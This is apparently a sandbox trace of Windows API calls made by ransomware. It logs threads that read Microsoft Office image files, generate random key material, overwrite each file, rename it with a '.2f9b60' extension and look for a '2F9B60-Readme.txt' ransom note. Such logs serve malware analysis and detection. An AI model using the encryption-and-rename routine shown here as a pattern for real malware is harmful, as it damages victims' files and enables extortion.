[0132.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799250 [0143.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 [0143.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0143.087] NtQueryInformationFile (in: FileHandle=0x1b28, IoStatusBlock=0x29c9fdf8, FileInformation=0x29c9fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29c9fdf8, FileInformation=0x29c9fe08) returned 0x0 [0143.087] NtSetInformationFile (FileHandle=0x1b28, IoStatusBlock=0x29c9fdf8, FileInformation=0x29c9fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0144.029] FlushFileBuffers (hFile=0x1b28) returned 1 [0144.033] CloseHandle (hObject=0x1b28) returned 1 [0144.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c3a0 [0144.035] wcscpy (in: _Dest=0x2050c3a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0144.035] wcscat (in: _Dest=0x2050c3a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0144.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) [0204.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c3a0) returned 1 [0204.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 Thread: id = 1825 os_tid = 0xeec [0132.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg")) returned 0x20 [0132.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg", dwFileAttributes=0x20) returned 1 [0134.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d68 [0136.137] GetFileSizeEx (in: hFile=0x1d68, lpFileSize=0x2a2afae0 | out: lpFileSize=0x2a2afae0*=10767) returned 1 [0136.137] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x2a0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.137] ReadFile (in: hFile=0x1d68, lpBuffer=0x2a2afa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a2afaa8, lpOverlapped=0x0 | out: lpBuffer=0x2a2afa60*, lpNumberOfBytesRead=0x2a2afaa8*=0x4, lpOverlapped=0x0) returned 1 [0136.288] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0136.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0136.289] NtQuerySystemTime (in: CurrentTime=0x2a2af9a0 | out: CurrentTime=0x2a2af9a0*=132462177415306000) returned 0x0 [0136.289] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x6f74e1f9 [0136.289] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x6d0dc5c6 [0136.289] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x39d0d0c [0136.289] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x5bada3c9 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x10665465 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x6090444d [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x8e56ad2 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x38da75ee [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x7d3d8b6f [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x4b3cb93d [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x48a45a33 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x2168d499 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x635c3219 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x4648f44d [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x233e85b5 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x52023161 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x42c148d3 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x56e53a8 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x57c44426 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x53305b2f [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x7ca02fb0 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x51026295 [0136.290] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x26a7ba3 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x5433350b [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0xf3d784 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x48ad15f4 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x218d3e56 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x4a0d9ce7 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x6e736665 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x1c2fbc22 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x166ddb16 [0136.291] RtlRandomEx (in: Seed=0x2a2af990 | out: Seed=0x2a2af990) returned 0x1ad0ad38 [0136.303] ReadFile (in: hFile=0x1d68, lpBuffer=0x20320910, nNumberOfBytesToRead=0x2a0f, lpNumberOfBytesRead=0x2a2af990, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesRead=0x2a2af990*=0x2a0f, lpOverlapped=0x0) returned 1 [0136.369] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.369] WriteFile (in: hFile=0x1d68, lpBuffer=0x20324520*, nNumberOfBytesToWrite=0x2a0f, lpNumberOfBytesWritten=0x2a2af994, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesWritten=0x2a2af994*=0x2a0f, lpOverlapped=0x0) returned 1 [0136.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0136.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0136.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eab0 [0136.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0136.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ee30 [0136.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d9a50 [0136.490] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.491] WriteFile (in: hFile=0x1d68, lpBuffer=0x1b7d9a50*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2a2afab0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d9a50*, lpNumberOfBytesWritten=0x2a2afab0*=0x11a, lpOverlapped=0x0) returned 1 [0136.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d9a50) returned 1 [0136.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ee30) returned 1 [0136.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eab0) returned 1 [0136.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9c0) returned 1 [0136.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1a0) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202783b0 [0136.590] wcscpy (in: _Dest=0x202783b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" [0136.590] wcscat (in: _Dest=0x202783b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.2f9b60" [0136.590] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.2f9b60", NtPathName=0x2a2afad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0136.590] NtSetInformationFile (FileHandle=0x1d68, IoStatusBlock=0x2a2afb70, FileInformation=0x1b776770, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0147.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0147.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290dd0) returned 1 [0147.403] NtQueryInformationFile (in: FileHandle=0x1d68, IoStatusBlock=0x2a2afb38, FileInformation=0x2a2afb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a2afb38, FileInformation=0x2a2afb48) returned 0x0 [0147.403] NtSetInformationFile (FileHandle=0x1d68, IoStatusBlock=0x2a2afb38, FileInformation=0x2a2afb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0147.406] FlushFileBuffers (hFile=0x1d68) returned 1 [0147.407] CloseHandle (hObject=0x1d68) returned 1 [0147.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b8620f0 [0147.409] wcscpy (in: _Dest=0x1b8620f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0147.410] wcscat (in: _Dest=0x1b8620f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0147.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8620f0) returned 1 [0147.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 Thread: id = 1826 os_tid = 0xeb0 [0132.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp")) returned 0x20 [0132.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp", dwFileAttributes=0x20) returned 1 [0135.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e00 [0137.432] GetFileSizeEx (in: hFile=0x1e00, lpFileSize=0x2a49fc00 | out: lpFileSize=0x2a49fc00*=13848) returned 1 [0137.432] SetFilePointerEx (in: hFile=0x1e00, liDistanceToMove=0x3614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.432] ReadFile (in: hFile=0x1e00, lpBuffer=0x2a49fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a49fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2a49fb80*, lpNumberOfBytesRead=0x2a49fbc8*=0x4, lpOverlapped=0x0) returned 1 [0137.471] SetFilePointerEx (in: hFile=0x1e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0137.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0137.471] NtQuerySystemTime (in: CurrentTime=0x2a49fac0 | out: CurrentTime=0x2a49fac0*=132462177427162000) returned 0x0 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x1ef33c6e [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x7dbe3b78 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x379c095f [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x6ee12b94 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x26a02619 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x37f5ed22 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x3bf588da [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x4586864f [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x71b99a86 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x7dc70ff5 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x310cff14 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x76b33722 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x193223d7 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x7e4200a7 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x66bd1280 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x5e361e04 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x6cf22244 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x6a44dbea [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x34a43a51 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x6fedeaee [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x23d9266d [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x21b72700 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x60da11a2 [0137.472] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x6031e36e [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0xe6a0710 [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x2ff0374e [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x1bf3998 [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x48bc6067 [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x69e7af9c [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x5f35efdd [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x2d1d1c2b [0137.473] RtlRandomEx (in: Seed=0x2a49fab0 | out: Seed=0x2a49fab0) returned 0x7c8b80a1 [0137.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0137.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0137.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20364520 [0137.483] ReadFile (in: hFile=0x1e00, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x3618, lpNumberOfBytesRead=0x2a49fab0, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x2a49fab0*=0x3618, lpOverlapped=0x0) returned 1 [0137.503] SetFilePointerEx (in: hFile=0x1e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.503] WriteFile (in: hFile=0x1e00, lpBuffer=0x20364520*, nNumberOfBytesToWrite=0x3618, lpNumberOfBytesWritten=0x2a49fab4, lpOverlapped=0x0 | out: lpBuffer=0x20364520*, lpNumberOfBytesWritten=0x2a49fab4*=0x3618, lpOverlapped=0x0) returned 1 [0161.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a34a0 [0161.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a34d0 [0161.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a34d0) returned 1 [0161.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20364520) returned 1 [0161.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0161.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0161.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0161.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97c60 [0161.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0161.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0161.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a34d0 [0161.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a34d0) returned 1 [0161.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97210 [0161.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a34d0 [0161.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0161.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3500) returned 1 [0161.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0161.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0161.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b866130 [0161.109] SetFilePointerEx (in: hFile=0x1e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.109] WriteFile (hFile=0x1e00, lpBuffer=0x1b866130, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a49fbd0, lpOverlapped=0x0) [0200.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0200.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0200.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a34d0) returned 1 [0200.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a34a0) returned 1 [0200.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0200.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0200.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0200.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x431ed9e0 [0200.273] wcscpy (in: _Dest=0x431ed9e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" [0200.273] wcscat (in: _Dest=0x431ed9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.2f9b60" [0200.273] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.2f9b60", NtPathName=0x2a49fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced0820 [0223.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0820) returned 1 [0223.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420578c0) returned 1 [0223.942] NtQueryInformationFile (in: FileHandle=0x1e00, IoStatusBlock=0x2a49fc58, FileInformation=0x2a49fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a49fc58, FileInformation=0x2a49fc68) returned 0x0 [0223.942] NtSetInformationFile (FileHandle=0x1e00, IoStatusBlock=0x2a49fc58, FileInformation=0x2a49fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed9e0) returned 1 [0225.049] FlushFileBuffers (hFile=0x1e00) returned 1 [0225.065] CloseHandle (hObject=0x1e00) returned 1 [0225.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65fa0 [0225.474] wcscpy (in: _Dest=0x1cd65fa0, _Source="C:\\Program Files\\Microsoft 